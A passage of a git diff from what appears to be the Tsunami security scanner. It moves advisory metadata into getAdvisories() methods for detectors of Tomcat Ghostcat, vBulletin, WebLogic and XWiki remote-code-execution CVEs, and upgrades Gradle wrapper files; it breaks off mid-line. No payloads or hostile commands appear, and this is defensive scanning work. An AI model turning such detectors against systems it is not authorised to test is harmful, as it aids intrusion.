.setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("GHOSTCAT")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Tomcat AJP File Read/Inclusion Vulnerability") - .setDescription( - "Apache Tomcat is an open source web server and servlet container" - + " developed by the Apache Software Foundation Apache Tomcat" - + " fixed a vulnerability (CVE-2020-1938) that allows an attacker" - + " to read any webapps files. If the Tomcat instance supports" - + " file uploads, the vulnerability could also be leveraged to" - + " achieve remote code execution.") - .setRecommendation("Install the latest security patches for Apache Tomcat.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "Status code: %d\n" - + "Status message: %s\n" - + "Headers: %s\n" - + "/WEB-INF/web.xml content: %s\n", - statusCode, statusMessage, headers, content))))) + .setVulnerability(detector.getAdvisory(details)) .build(); } } diff --git a/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/vbulletin/cve201916759/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/vbulletin/cve201916759/gradlew b/google/detectors/rce/vbulletin/cve201916759/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/vbulletin/cve201916759/gradlew +++ b/google/detectors/rce/vbulletin/cve201916759/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/vbulletin/cve201916759/gradlew.bat b/google/detectors/rce/vbulletin/cve201916759/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/vbulletin/cve201916759/gradlew.bat +++ b/google/detectors/rce/vbulletin/cve201916759/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/vbulletin/cve201916759/src/main/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759Detector.java b/google/detectors/rce/vbulletin/cve201916759/src/main/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759Detector.java index 06e2080fb..9edf13193 100644 --- a/google/detectors/rce/vbulletin/cve201916759/src/main/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759Detector.java +++ b/google/detectors/rce/vbulletin/cve201916759/src/main/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759Detector.java @@ -63,6 +63,24 @@ public final class VBulletinCve201916759Detector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_16759")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2019-16759")) + .setTitle("vBulletin Pre-Auth RCE Vulnerability (CVE-2019-16759)") + .setDescription( + "Unauthenticated attacked can gain privileged access and control over any" + + " vBulletin server running versions 5.0.0 up to 5.5.4, and potentially" + + " lock organizations out from their own sites.") + .setRecommendation("Upgrade vBulletin to the latest version with security patches.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -112,18 +130,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2019_16759")) - .setSeverity(Severity.CRITICAL) - .setTitle("vBulletin Pre-Auth RCE Vulnerability (CVE-2019-16759)") - .setDescription( - "Unauthenticated attacked can gain privileged access and control over any" - + " vBulletin server running versions 5.0.0 up to 5.5.4, and potentially" - + " lock organizations out from their own sites.") - .setRecommendation( - "Upgrade vBulletin to the latest version with security patches.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/vbulletin/cve201916759/src/test/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759DetectorTest.java b/google/detectors/rce/vbulletin/cve201916759/src/test/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759DetectorTest.java index 09bfed5c9..e918852c2 100644 --- a/google/detectors/rce/vbulletin/cve201916759/src/test/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759DetectorTest.java +++ b/google/detectors/rce/vbulletin/cve201916759/src/test/java/com/google/tsunami/plugins/detectors/rce/vbulletin/cve201916759/VBulletinCve201916759DetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -100,20 +97,7 @@ public void detect_whenvBulletinIsVulnerable_returnsVulnerability() throws IOExc .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2019_16759")) - .setSeverity(Severity.CRITICAL) - .setTitle("vBulletin Pre-Auth RCE Vulnerability (CVE-2019-16759)") - .setDescription( - "Unauthenticated attacked can gain privileged access and control over" - + " any vBulletin server running versions 5.0.0 up to 5.5.4, and" - + " potentially lock organizations out from their own sites.") - .setRecommendation( - "Upgrade vBulletin to the latest version with security patches.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/weblogic/cve202014883/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/weblogic/cve202014883/gradlew b/google/detectors/rce/weblogic/cve202014883/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/weblogic/cve202014883/gradlew +++ b/google/detectors/rce/weblogic/cve202014883/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/weblogic/cve202014883/gradlew.bat b/google/detectors/rce/weblogic/cve202014883/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/weblogic/cve202014883/gradlew.bat +++ b/google/detectors/rce/weblogic/cve202014883/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java b/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java index 535140f06..e4d8e2e41 100644 --- a/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java +++ b/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java @@ -97,6 +97,23 @@ public final class WebLogicAdminConsoleRceDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-14883")) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULN_DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -120,8 +137,7 @@ && isVulnerableWithCallback(rootUri, networkService)) || isVulnerableWithoutCallback(rootUri, networkService); } - private boolean isVulnerableWithCallback( - String rootUri, NetworkService networkService) { + private boolean isVulnerableWithCallback(String rootUri, NetworkService networkService) { PayloadGeneratorConfig config = PayloadGeneratorConfig.newBuilder() .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) @@ -146,8 +162,7 @@ private boolean isVulnerableWithCallback( return payload.checkIfExecuted(); } - private boolean isVulnerableWithoutCallback( - String rootUri, NetworkService networkService) { + private boolean isVulnerableWithoutCallback(String rootUri, NetworkService networkService) { PayloadGeneratorConfig config = PayloadGeneratorConfig.newBuilder() .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) @@ -188,16 +203,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(networkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/TestHelper.java b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/TestHelper.java index b144287f6..b890e9791 100644 --- a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/TestHelper.java +++ b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/TestHelper.java @@ -17,9 +17,6 @@ package com.google.tsunami.plugins.detectors.rce.cve202014883; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.cve202014883.WebLogicAdminConsoleRceDetector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.rce.cve202014883.WebLogicAdminConsoleRceDetector.VULNERABILITY_REPORT_TITLE; -import static com.google.tsunami.plugins.detectors.rce.cve202014883.WebLogicAdminConsoleRceDetector.VULN_DESCRIPTION; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.time.testing.FakeUtcClock; @@ -27,11 +24,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import okhttp3.mockwebserver.MockWebServer; @@ -51,23 +45,13 @@ static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { } static DetectionReport buildValidDetectionReport( - TargetInfo target, NetworkService service, FakeUtcClock fakeUtcClock) { + WebLogicAdminConsoleRceDetector detector, TargetInfo target, NetworkService service, FakeUtcClock fakeUtcClock) { return DetectionReport.newBuilder() .setTargetInfo(target) .setNetworkService(service) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher( - WebLogicAdminConsoleRceDetector.VULNERABILITY_REPORT_PUBLISHER) - .setValue(WebLogicAdminConsoleRceDetector.VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithCallbackServerTest.java b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithCallbackServerTest.java index 7428cc400..f1a8af6b1 100644 --- a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithCallbackServerTest.java +++ b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithCallbackServerTest.java @@ -100,7 +100,7 @@ public void detect_whenVulnerable_reportsVulnerability() throws IOException { DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); + .contains(TestHelper.buildValidDetectionReport(detector, target, service, fakeUtcClock)); } @Test diff --git a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithoutCallbackServerTest.java b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithoutCallbackServerTest.java index 681fcba65..8589ca5ff 100644 --- a/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithoutCallbackServerTest.java +++ b/google/detectors/rce/weblogic/cve202014883/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetectorWithoutCallbackServerTest.java @@ -90,7 +90,7 @@ public void detect_whenVulnerable_reportsVulnerability() { DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); + .contains(TestHelper.buildValidDetectionReport(detector, target, service, fakeUtcClock)); } @Test diff --git a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/xwiki/cve202431982/gradlew b/google/detectors/rce/xwiki/cve202431982/gradlew index f5feea6d6..23d15a936 100755 --- a/google/detectors/rce/xwiki/cve202431982/gradlew +++ b/google/detectors/rce/xwiki/cve202431982/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/xwiki/cve202431982/gradlew.bat b/google/detectors/rce/xwiki/cve202431982/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/google/detectors/rce/xwiki/cve202431982/gradlew.bat +++ b/google/detectors/rce/xwiki/cve202431982/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java index 6962d8268..38a5cac9c 100644 --- a/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java +++ b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java @@ -89,6 +89,25 @@ public DetectionReportList detect( return detectionReports; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982")) + .setSeverity(Severity.CRITICAL) + .setTitle("xwiki instance vulnerable to CVE-2024-31982") + .setRecommendation( + "Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1") + .setDescription( + "The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows" + + " an attacker to take control of the xwiki instance and does not require" + + " authentication.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { return POSSIBLE_SUBPATHS.stream() .anyMatch(endpoint -> isEndpointVulnerable(networkService, endpoint)); @@ -119,20 +138,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - 